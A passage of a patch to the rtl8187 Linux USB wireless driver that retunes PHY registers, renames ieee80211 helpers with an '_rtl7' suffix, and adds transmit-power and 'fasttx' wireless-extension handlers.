- + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-02-15 00:40:10.000000000 +0100 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-02-15 00:37:05.000000000 +0100 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); 